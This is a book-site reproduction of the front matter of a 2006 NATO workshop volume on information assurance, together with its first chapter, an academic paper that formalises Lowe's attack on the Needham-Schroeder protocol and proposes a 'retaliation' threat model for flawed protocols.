Information Assurance and Computer Security, Volume 6 NATO Security through Science Series: Information and Communication Security (Nato Security Through Science)

INFORMATION ASSURANCE AND COMPUTER SECURITY NATO Security through Science Series This Series presents the results of s...

Author: J.P. Thomas and M. Essaaidi; Editors

47 downloads 1277 Views 3MB Size Report

This content was uploaded by our users and we assume good faith they have the permission to share this book. If you own the copyright to this book and it is wrongfully on our website, we offer a simple DMCA procedure to remove your content from our site. Start by pressing the button below!

Report copyright / DMCA form

DOWNLOAD PDF

INFORMATION ASSURANCE AND COMPUTER SECURITY

NATO Security through Science Series This Series presents the results of scientific meetings supported under the NATO Programme for Security through Science (STS). Meetings supported by the NATO STS Programme are in security-related priority areas of Defence Against Terrorism or Countering Other Threats to Security. The types of meeting supported are generally “Advanced Study Institutes” and “Advanced Research Workshops”. The NATO STS Series collects together the results of these meetings. The meetings are co-organized by scientists from NATO countries and scientists from NATO’s “Partner” or “Mediterranean Dialogue” countries. The observations and recommendations made at the meetings, as well as the contents of the volumes in the Series, reflect those of participants and contributors only; they should not necessarily be regarded as reflecting NATO views or policy. Advanced Study Institutes (ASI) are high-level tutorial courses to convey the latest developments in a subject to an advanced-level audience. Advanced Research Workshops (ARW) are expert meetings where an intense but informal exchange of views at the frontiers of a subject aims at identifying directions for future action. Following a transformation of the programme in 2004 the Series has been re-named and reorganised. Recent volumes on topics not related to security, which result from meetings supported under the programme earlier, may be found in the NATO Science Series. The Series is published by IOS Press, Amsterdam, and Springer Science and Business Media, Dordrecht, in conjunction with the NATO Public Diplomacy Division. Sub-Series A. B. C. D. E.

Chemistry and Biology Physics and Biophysics Environmental Security Information and Communication Security Human and Societal Dynamics

Springer Science and Business Media Springer Science and Business Media Springer Science and Business Media IOS Press IOS Press

http://www.nato.int/science http://www.springeronline.nl http://www.iospress.nl

Sub-Series D: Information and Communication Security – Vol. 6

ISSN: 1574-5589

Information Assurance and Computer Security

Edited by

Johnson P. Thomas Oklahoma State University, Tulsa, Oklahoma, USA

and

Mohamed Essaaidi Abdelmalek Essaadi University, Tetuan, Morocco

Amsterdam • Berlin • Oxford • Tokyo • Washington, DC Published in cooperation with NATO Public Diplomacy Division

Proceedings of the NATO Advanced Research Workshop on Information Assurance and Computer Security 2005 Tetuan, Morocco 3–4 June 2005

© 2006 IOS Press. All rights reserved. No part of this book may be reproduced, stored in a retrieval system, or transmitted, in any form or by any means, without prior written permission from the publisher. ISBN 1-58603-678-5 Library of Congress Control Number: 2006935041 Publisher IOS Press Nieuwe Hemweg 6B 1013 BG Amsterdam Netherlands fax: +31 20 687 0019 e-mail: [email protected] Distributor in the UK and Ireland Gazelle Books Services Ltd. White Cross Mills Hightown Lancaster LA1 4XS United Kingdom fax: +44 1524 63232 e-mail: [email protected]

Distributor in the USA and Canada IOS Press, Inc. 4502 Rachael Manor Drive Fairfax, VA 22032 USA fax: +1 703 323 3668 e-mail: [email protected]

LEGAL NOTICE The publisher is not responsible for the use which might be made of the following information. PRINTED IN THE NETHERLANDS

Information Assurance and Computer Security J.P. Thomas and M. Essaaidi (Eds.) IOS Press, 2006 © 2006 IOS Press. All rights reserved.

v

Preface Today’s society can no longer function without information technology. Essential infrastructure including the transportation system, banking and the financial markets, the entertainment industry, the health care system, government, the military and the education system can no longer survive without modern technology. This increasing dependence on information technology creates new opportunities for the benefit of society. However, it also opens an avenue that can be exploited for illicit purposes. The stakes are high and many attacks go undetected or unreported. In addition to losses such as data or other forms of intellectual property, financial theft or the shut down of infrastructure, computer security attacks that target critical infrastructure such as nuclear power plants has the potential to cause human casualties on a massive and unprecedented scale. The challenges of computer security were discussed at an advanced research workshop held in Tetuan, Morocco in June, 2005 under the auspices of the North Atlantic Treaty Organization (NATO). This workshop provided a unique opportunity for researchers involved in mature research programmes from Europe and North America to closely interact with researchers from North Africa working in fledgling security programmes. The workshop provided a forum to present and discuss research on the four main challenges facing computer security, namely, the formulation of theoretical models for computer security, the development of tools and languages to ensure security, the design of new secure architectures and the application of security models. In the first chapter titled ‘Retaliation: Can We Live with Flaws?’, Bella et al. propose a model for security that is based on the social premise that an attacker will think twice if retaliation is possible. The second chapter by Gritzalis et al. sets the foundations for establishing a knowledge-based, ontology-centric framework with respect to security management. Biardi et al. in their chapter titled ‘Constrained Automata: a Formal Tool for ICT Risk Assessment’, propose automata theory as a tool to assess the potential for security attacks in a system. XML is extended to provide a comprehensive language for trust negotiations by Squicciarini et al. in the chapter titled ‘A comprehensive XML-based language for trust negotiations’. The challenge in providing trust in a distributed services oriented architecture is discussed in the chapter by Jen-Yao Chung et al., titled ‘Extending Trust Computing with Service Oriented Architecture’. In ‘Privacy Preserving third party architectures’, Barbara Carminati et al. propose a scalable architecture that satisfies different privacy preserving requirements. The challenges facing agent security where the agents are mobile is discussed by Łukasz Nitschke et al. Distributed systems security, in particular the protection of confidential resources is described in the chapter titled ‘Using basic Security Techniques and specifications for Confidential Resources Protection in Web-based Distributed Systems’ by Mostafa Ezziyyani et al. Shahin Shakeri et al. apply statistical techniques to the problem of spam detection and email classification. In the tenth chapter, Y. Lyhyaoui et al. analyze the security problems caused by cheating in online games. The final chapter by Kumar et al. proposes a secure protocol for routing in sensor networks based on key management.

vi

This book provides a discussion on a wide variety of viewpoints on some of the main challenges facing secure systems. This book will therefore be of major interest to all researchers in academia or industry with an interest in computer security. It is also relevant to graduate and advanced level undergraduate students who may want to explore the latest developments in the area of computer and information security. We thank the public diplomacy mission of NATO for sponsoring and funding this scientific meeting and also the organizing bodies for their support. We would like to thank the members of the international scientific and local organizing committees for their contributions and suggestions. A special thanks goes to Dr. Naoufal Raissouni and to Dr. Mohammed Kounaidi for their invaluable assistance and all their hard work in organizing this workshop. We also thank all chairpersons for their involvement. We are particular indebted to the participants who submitted chapters to this book and contributed to the success of the meeting. It was refreshing to observe participants from Europe and the United States as well as North Africa contribute to the discussions, presentations and overall success of this workshop. April 2006 Johnson P. Thomas Tulsa, Oklahoma, USA Mohamed Essaaidi Tetuan, Morocco

vii

Contents Preface Johnson P. Thomas and Mohamed Essaaidi

v

I. Theory Retaliation: Can We Live with Flaws? Giampaolo Bella, Stefano Bistarelli and Fabio Massacci An Assurance-by-Ontology Paradigm Proposal: Elements of Security Knowledge Management Dimitris Gritzalis and Bill Tsoumas

3

15

II. Tools Constrained Automata: A Formal Tool for ICT Risk Assessment F. Baiardi, F. Martinelli, L. Ricci and C. Telmon

33

A Comprehensive XML-Based Language for Trust Negotiations Anna Cinzia Squicciarini, Elisa Bertino and Elena Ferrari

48

III. Architecture Extending Trust Computing with Service Oriented Architecture Jen-Yao Chung, Stephen J.H. Yang and Blue C.W. Lan

69

Privacy Preserving Third-Party Architectures Barbara Carminati and Elena Ferrari

84

Mobile Agent Security Łukasz Nitschke, Marcin Paprzycki and Michał Ren

102

IV. Applications Using Basic Security Techniques and Specifications for Confidential Resources Protection in Web-Based Distributed Systems Mostafa Ezziyyani, Mustapha Bennouna, Mohamed Essaaidi, Mohamed Hlimi and Loubna Cherrat

127

Spam Detection and Email Classification Shahin Shakeri and Paolo Rosso

155

Problems of Security in Online Games Youssef Lyhyaoui, Souad Alaoui, Abdelouahid Lyhyaoui and Stéphane Natkin

168

viii

Secure Directed Diffusion Routing Protocol for Sensor Networks Using the LEAP Protocol VijayRaman Kumar, Johnson Thomas and Ajith Abraham

183

Author Index

205

I. Theory

This page intentionally left blank

Information Assurance and Computer Security J.P. Thomas and M. Essaaidi (Eds.) IOS Press, 2006 © 2006 IOS Press. All rights reserved.

3

Retaliation: Can We Live with Flaws? Giampaolo Bella a,1 , Stefano Bistarelli b,2 and Fabio Massacci c,3 a Dipartimento di Matematica e Informatica, Università di Catania, Italy b Dipartimento di Scienze, Università "G. D’Annunzio" di Pescara, Italy Istituto di Informatica e Telematica, C.N.R., Pisa, Italy c Dipartimento di Informatica e Telecomunicazioni, Università di Trento, Italy Abstract. Security protocols intend to give their parties reasonable assurance that certain security properties will protect their communication session. However, the literature conﬁrms that the protocols may suffer subtle and hidden attacks. Flawed protocols are customarily sent back to the design process, but the costs of reengineering a deployed protocol may be prohibitive. This paper outlines the concept of retaliation: who would steal a sum of money today, should this pose signiﬁcant risks of having twice as much stolen back tomorrow? Attacks are always balanced decisions: if an attack can be retaliated, the economics of security may convince us to live with a ﬂawed protocol. This new perspective requires a new threat model where any party may decide to subvert the protocol for his own sake, depending on the risks of retaliation. This threat model, which for example is also suitable to studying non-repudiation protocols, seems more appropriate than the Dolev-Yao model to the present technological/social setting. Keywords. Security, speciﬁcation techniques, protocol veriﬁcation, attack, network security and protection.

1. Introduction A security protocol is a social behaviour that principals of a distributed system must follow to obtain some important collective beneﬁts in terms of security. For the good principals, it is sufﬁcient to state some clear, understandable, and acceptable rules describing how to execute the security protocol correctly, namely by the book. Because they are good principals, they will conform to the rules, and behave as the protocol prescribes. The bad principals, by deﬁnition, will not conform to the rules and, rather, will execute the protocol arbitrarily, that is incorrectly. Classical research in distributed systems and security starts off exactly from the need to counter the disruptive behaviour of the bad principals. Research efforts have focused on designing a protocol so that if the good principals outnumber the bad ones, the collective beneﬁts will be achieved regardless of the bad principals’ behaviours. Another perspective aims at limiting the bad principals’ proﬁt, regardless of how many or how 1 Correspondence to: Giampaolo Bella, Dipartimento di Matematica e Informatica, Università di Catania, Viale A. Doria 6, I-95125 Catania, ITALY. E-mail: [email protected] 2 E-mail: [email protected] 3 E-mail: [email protected]

4

G. Bella et al. / Retaliation: Can We Live with Flaws?

smart they are [8]. The general line of research seems towards proving that those who conform to the protocol are somewhat safeguarded with their own aims. Our contribution substantially enriches this line. There has been a stable relation between veriﬁcation and design. Whenever veriﬁcation denounces an attack, the protocol must go back to the design phase. It generally tells people that the original design is a complete failure, although it literally only signiﬁes that it is ﬂawed. These acute considerations lead us to wondering what may happen after an attack takes place. Can we still get something useful from the protocol or merely repeated instances of the attack that was just found? We expect to obtain deeper insights about the entanglements of a protocol by continuing its analysis after an attack is pinpointed. In other terms, we are crossing a doorstep that usually stops researchers and sends them to publishing their ﬁndings. Our analysis helps us understand whether it is at all possible to threaten the bad principals exactly when they execute the protocol incorrectly. In the real world, a virtuous behaviour is imposed on people by taking measures of real security such as hardening the windows against crash. There is a perfect simile with security protocols so far. However, the real world also relies on countermeasures of security so that the vandals who, despite the rules, crash the windows are jailed. Our simile ﬂickers here. People balance the advantages of breaking the law on one side with its consequences on the other side. We observe that this applies to both the real and the digital world. So, if we convince the protocol participants to weigh up the beneﬁts of an incorrect execution with the consequent threats, they would opt to execute the protocol correctly if the threats were heavier. The essence of retaliation for security protocols has come clear. Let us consider Lowe’s famous attack to the public-key Needham-Schroeder protocol [10]. The attack entitles the bad principal to ask for a transfer of money. Would he really steal a sum of money if the threats that twice as much would consequently be stolen to him were signiﬁcant? This kind of analysis opens up the ground to novel, realistic considerations about security protocols. When an attack is discovered, it is worth studying further to verify if it can be retaliated. An afﬁrmative conclusion, perhaps supported by appropriate risk analysis, may let us decide to keep the protocol in use as it stands. If redesign is costly, retaliation may signify that a ﬂawed protocol can still achieve a sufﬁcient and stable level of security. The present paper builds on top of ideas that we informally sketched [3]. The presentation gains a precise formulation of the novel threat model that supports the notion of retaliation. Moreover, all deﬁnitions are presented formally here. Finally, the novel concept of out-of-band challenge is advanced. Because each principal minds his own business with any legal (if he is good) or also illegal (if he is bad) means, he can issue out-of-band challenge messages to suspect or detect that something dodgy happened. The organisation of this manuscript is simple. The presentation opens up by triggering the reader’s intuition with an example (§2). Only at that stage are the key formal elements introduced (§3), and the novel threat model speciﬁed (§4). The core of the paper deals with the continuation of protocol analysis after an attack is found (§5). Then, some hints to protocol veriﬁcation are given under the new perspective of retaliation (§6). Finally, some conclusions terminate the paper (§7).

G. Bella et al. / Retaliation: Can We Live with Flaws?

5

2. Indirect Retaliation in Needham-Schroeder The popular public-key protocol due to Needham-Schroeder [12] is a good starting point to our presentation. The notation can be easily summarised as follows. • Cryptographic keys are denoted by letter K in general. Each letter may feature a principal name as a subscript, expressing the principal who knows the key. • Nonces are denoted by letter N . Each letter may feature a principal name as a subscript, expressing the principal who invented the nonce. • The message concatenation operator is denoted by a comma. • The message encryption operator is denoted by external curly braces featuring the encryption key as a subscript. This paper only features asymmetric encryption. Having seen the basic protocol notation, the actual protocol can be found Figure 1.

1.

A → B : {|Na, A|}Kb

2.

B → A : {|Na, Nb|}Ka

3.

A → B : {|Nb|}Kb

Figure 1. The public-key Needham-Schroeder protocol

The goal of this protocol is authentication: at completion of a session initiated by A with B, principal A should get evidence to have communicated with B and, likewise, principal B should get evidence to have communicated with A. Assuming that encryption is perfect and that the nonces are truly random, authentication is achieved here by exchange of nonces. Upon reception of Na inside message 2, A should be allowed to conclude that she is interacting with B, the only principal who could retrieve Na from message 1. In the same fashion, upon reception of Nb inside message 3, B should be allowed to conclude that he is interacting with A, the only principal who could retrieve Nb from message 2. However, let us consider Lowe’s attack reported in Figure 2. 1.

A → C : {|Na, A|}Kc 1 .

2.

C → A : {|Na, Nb|}Ka

3.

A → C : {|Nb|}Kc

C → B : {|Na, A|}Kb

2.

B → A : {|Na, Nb|}Ka

3 .

C → B : {|Nb|}Kb

Figure 2. Lowe’s attack to the Needham-Schroeder Protocol

The attack consists in a malicious principal C masquerade as a principal A with a principal B, after A initiated a session with C. This scenario, which sees C interleave

6

G. Bella et al. / Retaliation: Can We Live with Flaws?

two sessions, indicates failure of authentication of A with B, which follows from failure of conﬁdentiality of Nb. Lowe also reports that, if B is a bank for example, C can steal money from A’s account by sending a single message (Figure 3). Upon reception of the two nonces of the session with A, the bank B would honour the request believing it came from the account holder A. The sender label can be changed at will, and notoriously is unreliable. 4.

C → B : {|Na, Nb, “Transfer £1000 from A’s account to C’s”|}Kb Figure 3. Completion of Lowe’s attack

A more thorough conﬁdentiality analysis with soft-constraints [2] reveals that, as a by-product of Lowe’s attack, B has learnt nonce Na, which was invented by A to be shared with C only. It somewhat counts as a violation of the protocol. On one hand, it may not seem a major observation, as we already know that the protocol is ﬂawed and is ﬂawed exactly in terms of conﬁdentiality of the nonces. On the other hand, we wonder what may happen in practice if B later realises the signiﬁcance of the nonce he mysteriously received, and hence decides to take advantage of it. In terms of security analysis, it is not interesting to study how B could realise that: if one has a key ring with many keys, he may systematically try them all at the available locks. Rather, the very consequences of the most pessimistic case that sees B exploit Na are the focus here: B can also rob the robber by a single message, as described in Figure 4. Upon reception of the two nonces of the session with C, the bank A would honour the request believing it came from the account holder C. 4

B → A : {|Na, Nb, “Transfer £2000 from C’s account to B’s”|}Ka Figure 4. Retaliating Lowe’s attack

This is a form of indirect retaliation: C robs A through B, hence B robs C through A. It may turn out to be more or less appealing in practice. Nevertheless, what can be learnt is that something signiﬁcant may follow after an attack happens in the ﬁrst place, and therefore we should also look beyond protocol attacks. It is something that is made possible exactly because the ﬁrst attack took place, so it is not just another attack. Also, it is imprecise to see this scenario as a classical cascade of attacks because the victim of the ﬁrst attack changes in the retaliation attack. The most appropriate connotation indeed seems to us that of retaliation: because something happens, something else can happen against that. A fundamental prerequisite to study this scenario accurately is to allow the principals to change behaviour from unaware mediator to active attacker, as is the case of B in the example above, or from victimiser to victim, as is the case of C. It seems that the classical Dolev-Yao threat model consisting in a super-potent attacker is inappropriate to the present technological/social setting. Today, each principal may have capacity and competence to decide to act illegally for his own sake. This change to the threat model is deﬁned below (§4) but some basic terminology must be introduced ﬁrst.

G. Bella et al. / Retaliation: Can We Live with Flaws?

7

3. Basic terminology For simplicity, in the following we do not specify a more or less free algebra of messages, since this is only needed when modelling a speciﬁc protocol with a speciﬁc formal method. We only assume one exists, so that messages are elements of this algebra and can be suitably identiﬁed by a number to avoid ambiguity. Following Backes et al. [1] we uniquely identify each message so that even if a principal takes a message and simply forwards it to another one, it will be denoted by a different identiﬁer. The underlying algebra of messages would then tell us that the messages are indeed “equal in content”. Such a notion can then be used when modelling a speciﬁc protocol step. Deﬁnition 1 (Events) An Event is one of the following actions: • a principal sends a message to another principal; it is denoted by a 4-uple s (A : A → B[#]) mentioning the actual sender A, the alleged sender A , the recipient B, and the message number #; • a principal receives a message; it is denoted by a tuple r (A : #) mentioning the receiver A and the message number #. Example 1 Consider the Needham-Schroeder protocol (Figure 1). Its events and messages can be easily formalised as follows. The event whereby A initiates with B can be denoted by s (A : A → B[1]); the event whereby B receives the message can be denoted by r (B : 1); the event whereby some C intercepts the same message can be denoted by r (C : 1). Deﬁnition 2 (Traces) A Trace T is a list of events formalising a speciﬁc network history. It must respect Lamport’s causality principle and the unique identiﬁcation of messages by Backes et al. [1]: each sending event must precede the corresponding receiving event and each sending event must introduce a message with a new formal identiﬁer. Example 2 Consider the network history on which Lowe’s attack (Figure 2) takes place. It can be formalised by the trace: ⎡

TLowe

s (A : A → C[1]) , r (C : 1) ,

⎤

⎢ s (C : A → B[1 ]) , r (B : 1 ) , ⎥ ⎢ ⎥ ⎢ ⎥ ⎢ s (B : B → A[2 ]) , r (C : 2 ) , ⎥ ⎢ ⎥ =⎢ ⎥ ⎢ s (C : C → A[2]) , r (A : 2) , ⎥ ⎢ ⎥ ⎢ ⎥ ⎣ s (A : A → C[3]) , r (C : 3) , ⎦ s (C : A → B[3 ]) , r (B : 3 )

It can be seen that the reception events in TLowe conﬁrm that C learns nonce Nb and B learns nonce Na. Deﬁnition 3 (Trace Projections and Extensions) A Projection T /A of a trace T over a set of principals A is the sublist of events in T that are performed by some principal in A. An Extension T of a trace T is any trace beginning with T . In symbols: T T ; the concatenated trace T1 ; T2 is such that T1 T1 ; T2 .

8

G. Bella et al. / Retaliation: Can We Live with Flaws?

A remark is necessary about trace projection. Let us suppose that a trace features the event whereby A sends a message to B. This event certainly belongs to the projection of the trace over set {A}, but not over the set {B} because reception is not guaranteed in general. Likewise, if the original trace features the event whereby A receives a message, this event belongs to projection of the trace over {A}. There is no strong relation between the projection and extension operators, so that in general T \ {A} T . Example 3 Consider the trace representing Lowe’s attack. It can be easily projected over the attacker C as: ⎡

s (C : A → B[1 ]) , r (C : 2 ) ,

⎤

⎥ ⎢ TLowe / {C} = ⎣ s (C : C → A[2]) , r (C : 3) , ⎦ s (C : A → B[3 ])

Example 4 Consider the example trace: T = [s (A : A → C[1]) , r (C : 1) , s (C : A → B[1 ])] It follows that T TLowe , but T / TLowe / {C} because A’s sending the ﬁrst message does not appear in TLowe / {C}. Also, TLowe / {C} / TLowe . Classical security terms such as spooﬁng and snifﬁng can be easily deﬁned formally using the notion of trace. A principal spoofs a message on a trace if the trace features an event in which the actual sender is different from the alleged sender. A principal intercepts a message meant for someone else on a trace if the trace features an event whereby the principal receives the message but no event whereby the intended recipient of the message receives it. If a trace on which an interception event takes place is extended with the event whereby the intended recipient of the intercepted message actually receives it, then the interception event should be more correctly addressed as a snifﬁng event. It means that these notions only make sense exactly with respect to a trace and precisely to the very trace under consideration. By contrast, they are pointless on their own. A formal protocol model generically is the set of all possible traces induced by the protocol. It can be deﬁned in the formal model of choice (CSP [15], Inductive Method [13], Strand Spaces [17], etc). It is denoted by (variants of) the Greek letter Π.

4. A New Threat Model A subtler classiﬁcation of principals than the classical spy/non-spy one is needed. Our interest is in a social taxonomy reﬂecting whether the principals behave legally or not, rather than in notions such as initiator or responder. The taxonomy is taken as a threat model for the security considerations that follow. Deﬁnition 4 (BUG Threat Model) The BUG threat model partitions the principals according to three, disjoint, social behaviours: the bad, the good and the ugly principals. These are deﬁned as follows:

G. Bella et al. / Retaliation: Can We Live with Flaws?

9

Bad principals are attempting to break the protocol for their own illegal beneﬁts. They may or may not collude with each other. They are denoted by (variants of) the calligraphic letter B. Ugly principals are acting with no precise social/legal commitment: they may follow the protocol and may, deliberately or not, let the bad principals exploit them. They are denoted by (variants of) the calligraphic letter U. Good principals follow the protocol rules, and are exactly those who should enjoy the protocol goals exactly by conforming to its rules. They are denoted by (variants of) the calligraphic letter G. Our taxonomy is both similar to and different from the Dolev-Yao [7] simple classiﬁcation of principals. It is similar in the admission that someone can act illegally. We are however accounting for a set of bad principals rather than for a single spy, signifying that more than one principal may want to subvert the protocol. Crucially, each bad principal may want to act by himself, as it is realistic nowadays. By contrast, the Dolev-Yao spy is the logical product of any set of colluding principals, as it was more realistic decades ago when computer networks were rare. A distinction is necessary between good/bad and ugly participants because we want to discuss what happens after an attack. It is important to identify the participants who should have beneﬁted from the protocol goals (the good), the participants who actually beneﬁted from the ﬂaw (the bad) and ﬁnally those who took part in the session and indeliberately contributed to the ﬂaw (the ugly). Because the principals can change role, for example from good to bad, by performing some event, the taxonomy depends on the speciﬁc trace under consideration. This relation requires further speciﬁcation, but for simplicity it is sufﬁcient to clarify that if a speciﬁc partition (of the principals into the roles) underlies a trace, another partition can underly an extension of the given trace. In the original Dolev-Yao model, and in some later more complicated incarnation such as the Bellare-Rogaway [4] model, the ugly and the bad were grouped together: the intruder can use as oracle any stage of the protocol. However this does not distinguish who gained from the protocol failure. But such a clear distinction is always present in the informal description of an attack in a research paper: sentences such as "and thus A can impersonate B", "C can learn M" etc. mark exactly the notion of who is gaining. However, to impersonate Bob, it might be the case that Alice needs to exploit Ive’s participation in the protocol, in which case Ive would be playing, deliberately or not, the role of an ugly principal. Before moving on to a formal example, we assume the existence of a predicate over a protocol trace that evaluates to true if the trace contains an attack according to some suitable deﬁnition. The predicate takes as parameters also the speciﬁc social behaviours of the principals on that trace: A(T , B, U, G). Clearly, additional predicates can be introduced formalising speciﬁc attacks, but we can do with one for the sake of presentation. Example 5 Consider Lowe’s attack (Figure 2) to the Needham-Schroeder protocol and the trace TLowe (Example 2) formalising it. On this trace it can be observed that: C is the subject of the attack, the attacker; A is just playing by the rules with no deliberate commitment; B is the object of the attack, the victim. So, we deﬁne: • B = {C} • U = {A}

10

G. Bella et al. / Retaliation: Can We Live with Flaws?

• G = {B} It follows that A(TLowe , B, U, G) holds. Example 6 Consider the completion of Lowe’s attack (Figure 3). It can be formalised as an extension of the trace TLowe (Example 2) as: T1 = TLowe ; [s (C : A → B[4]) , r (B : 4)] On this trace it can be observed that: C is the subject of the attack, the attacker; B is just playing by the rules with no deliberate commitment; A is the object of the attack, the victim. So, we deﬁne: • B1 = {C} • U1 = {B} • G1 = {A} It follows that A(T1 , B1 , U1 , G1 ) holds. The two previous examples show that the social roles that the agents play vary from the trace TLowe formalising Lowe’s attack, to the trace T1 formalising its completion with the illegal money transfer. It is clear that, while Lowe’s attack directly impacts B, the consequent theft impacts A. Example 7 Consider our continuation of Lowe’s complete attack (Figure 4). It can be formalised as an extension of the trace T1 (Example 6) as: T2 = T1 ; [s (B : C → A[4 ]) ; r (A : 4 )] On this trace it can be observed that: B is the subject of the attack, the attacker; A is just playing by the rules with no deliberate commitment; C is the object of the attack, the victim. So, we deﬁne: • B2 = {B} • U2 = {A} • G2 = {C} It follows that A(T2 , B2 , U2 , G2 ) holds. 5. Beyond Protocol Attacks Before going beyond protocol attacks, we provide a classical formal deﬁnition of protocol vulnerability. Deﬁnition 5 (Vulnerability) A protocol Π is vulnerable to an attack A that is mounted by the principals in B exploiting those in U against those in G if there exists a protocol trace T that features A mounted by B exploiting U against G (Figure 5). Deﬁnition 5 is formalised in Figure 5, where a suitable predicate representing vulnerability is introduced as a function of the protocol, the attack and the principals’ behaviours. Building on top of this deﬁnition we will characterise the subtler notion of retaliation.

G. Bella et al. / Retaliation: Can We Live with Flaws?

11

Vulnerability(Π, A, B, U, G) ≡ ∃ T . T ∈ Π ∧ A(T , B, U, G) Figure 5. Deﬁning Protocol Vulnerability formally

5.1. Retaliation What is the essence of retaliation? Should a principal cheat, he can be cheated back. It is therefore not obvious whether the principal will choose to cheat. A positive decision requires the absence of unbearable hazards. Clearly, retaliation is meaningful if hitting back is a meaningful property in the context of the given protocol. As the bad principals are protocol participants, namely insiders, we can assume that they want to reap the beneﬁts of the protocol (such as authentication), plus any additional beneﬁts they may obtain by misbehaving. These latter beneﬁts should be balanced with the threats of being hit back. Designing a protocol so as to increase those threats will simply produce a stronger protocol. Deﬁnition 6 (Retaliation) A protocol Π allows retaliation of an attack A that is mounted by the principals in B exploiting those in U against those in G if, for every protocol trace that features A mounted by B exploiting U against G, there exists an extension of the trace featuring A mounted by some B exploiting some U against some G . The principals in B change their role in the extended trace; vice versa, those in B did not play the same role in the original trace. If B = G and B = G , then Π allows direct retaliation, else Π allows indirect retaliation. Clearly, direct retaliation is the most intuitive form of retaliation, which sees the good and the bad principals exactly switch their roles. However, our examples have shown that more articulated forms of the property, such as indirect retaliation, are possible. Deﬁnition 6 is formalised in Figure 6, where a suitable predicate representing retaliation is introduced as function of the protocol, the attack and the principals’ behaviours. The intuition is that each time there is an attack, some additional event may take place to retaliate, that is to attack the initial attackers. This typically involves some principals’ changing their social behaviour. The formal deﬁnition in the ﬁgure conﬁrms the change of roles: those who are now bad, the B , are a subset of those who were either ugly or good; those who were bad, the B, are a subset of those who are currently either ugly or good. Retaliation(Π, A, B, U, G) ≡ ∀ T . T ∈ Π ∧ A(T , B, U, G) → ( ∃ T , B’, U’, G’. T ∈ Π ∧ T T ∧ B ⊆ U ∪ G ∧ B ⊆ U ∪ G ∧ A(T , B’, U’, G’) ) Figure 6. Deﬁning Retaliation formally

12

G. Bella et al. / Retaliation: Can We Live with Flaws?

5.2. Suspicion and Detection In the previous section we introduced the deﬁnitions of protocol vulnerability and retaliation. These were given in terms of a global view of the traces of events, a god-centric perspective. Equivalent principal-centric versions are of little signiﬁcance because an attack is by its deﬁnition undetectable by its target principal. However, a principal-centric perspective is possible if we envisage some empirical control event that principals can perform outside the protocol, which we call out-of-band challenge. The principals can easily use this method to check whether something ﬁshy happened during the protocol. The protocol responder can use the out-of-band challenge to raise his suspicion that something went wrong. Precisely, suspicion means that a good principal suspects that an attack was attempted, but has no clue on the possible attacker. In our example protocol, this can be achieved by a suitable message, as in Figure 7. Principal B is attempting a B → A: {|Na, Nb, “Transfer £1 from B’s account to B’s”|}Ka Figure 7. B’s challenge for suspicion

dull money transfer either within his own account or between two of his accounts. Notice that the amount is meaningless here — it may be 0 or another irrelevant value. Principal B can verify from his bank statement if the transfer went through. If this is afﬁrmative, B gets a conﬁrmation that A acknowledges the pair Na, Nb with him. Otherwise, B learns that his session with A was somewhat compromised by someone, exactly because A does not acknowledge the pair of nonces. The challenge for suspicion can be made stronger, indeed becoming a challenge for detection. In our example protocol, this can be achieved by a suitable set of messages, as in Figure 8. Principal B is again attempting a dull money transfer from any account ∀ X.

B → A : {|Na, Nb, “Transfer £1 from X’s account to B’s”|}Ka Figure 8. B’s challenge for detection

holder onto his own. Principal B can verify from his bank statement for which principal X his attempt went through. This means that A associated the pair Na, Nb to X rather than to B. In consequence, B detects that X acted as a bad principal between A and B: the protocol admits a trace modelling this social behaviour. After detection, B has sufﬁcient evidence against the attacker, so he can draw a balance between two alternatives: either sue the attacker or retaliate against him.

6. Implications for Formal Protocol Veriﬁcation Classical properties such as authentication have been vastly analysed. Can we formally analyse properties such as retaliation? From a theoretical standpoint there is not a big

G. Bella et al. / Retaliation: Can We Live with Flaws?

13

difference. We have casted our properties as properties of traces because almost all research in tool-supported security veriﬁcation is based on deﬁning the protocol goals as properties of traces [9,10,11,13,14,15,6] or fragments thereof [5,16]. The key observation is that the emphasis in the traditional work on security veriﬁcation was on ﬁnding attacks or showing that no attack existed. This was reﬂected on formal models by the nature of the checked properties, which were essentially of existential nature: is there a trace T in the protocol Π such that A holds on T ? Here, T , Π, and A can be complicated at will. Indeed, A as a formally deﬁned property can be extremely complicated, for instance including arithmetical constraints on the number of events and arbitrarily many quantiﬁers. Theorem-proving fellows wished to prove that no such trace existed, while model-checking fans longed for a witness of its existence. Our properties are much more complex, as they feature at least two quantiﬁers over a single trace, and we may also expect quantiﬁer alternation. Lifting one’s pet theory of authentication to our framework appears to be simple. Lifting the automatic tool support will be the real challenge.

7. Conclusions Our account is motivated by the novel settings in which security protocols are executed nowadays, signiﬁcantly different from settings dating back to nearly three decades ago. Security protocols, whose use was typically appanage of 007s to protect their communications from the rest of the world during espionage missions, have now become accessible to a huge international community. The threat model has indeed changed. It is now perfectly realistic to even conceive that each principal may want to attack (whatever this means in a context) everyone else — on-line auctions in particular and e-commerce in general come as examples. Also non-repudiation protocols assume that everyone trusts no-one else. The good principals were expected in the taxonomy, but the ugly principals perhaps not. The identiﬁcation of this social behaviour brings forward another new concept: principals cannot and should not be constrained to be playing a single social behaviour forever. Imposing such a constraint would limit formal analysis signiﬁcantly in scope. More precisely, given a trace of events representing participation in a protocol, the social behaviours played by each principal can be easily identiﬁed, but they may vary in a different trace, such as an extension of the original trace. More simplistically, we could even see all principals as ugly, who turn out to behave as good or as bad according to speciﬁc circumstances. This paper has formalised the notion of retaliation in the context of security protocols. If an attack is discovered, it is worth investigating whether it can be retaliated. If yes, risk analysis may lean towards keeping the protocol in use. This perspective advances on the long-established practice of going back to redesign soon after one attack. An attack signiﬁes a ﬂaw, not necessarily a complete failure. Also the notions of suspicion and detection appear to have never been spelled out explicitly. They are adequately supported by the new threat model. It seems fair to conclude that the path to a new, important niche of protocol veriﬁcation has just been drawn.

14

G. Bella et al. / Retaliation: Can We Live with Flaws?

Acknowledgements Giampaolo Bella was partially supported by the Italian MIUR and AIVE S.p.A project "Extended Logistics". Stefano Bistarelli was partially supported by the Italian PRIN project "Vincoli e preferenze come formalismo uniﬁcante per l’analisi di sistemi informatici e la soluzione di problemi reali". Fabio Massacci was partially supported by the FIRB "Security" and IST-FET-IP "Sensoria" projects.

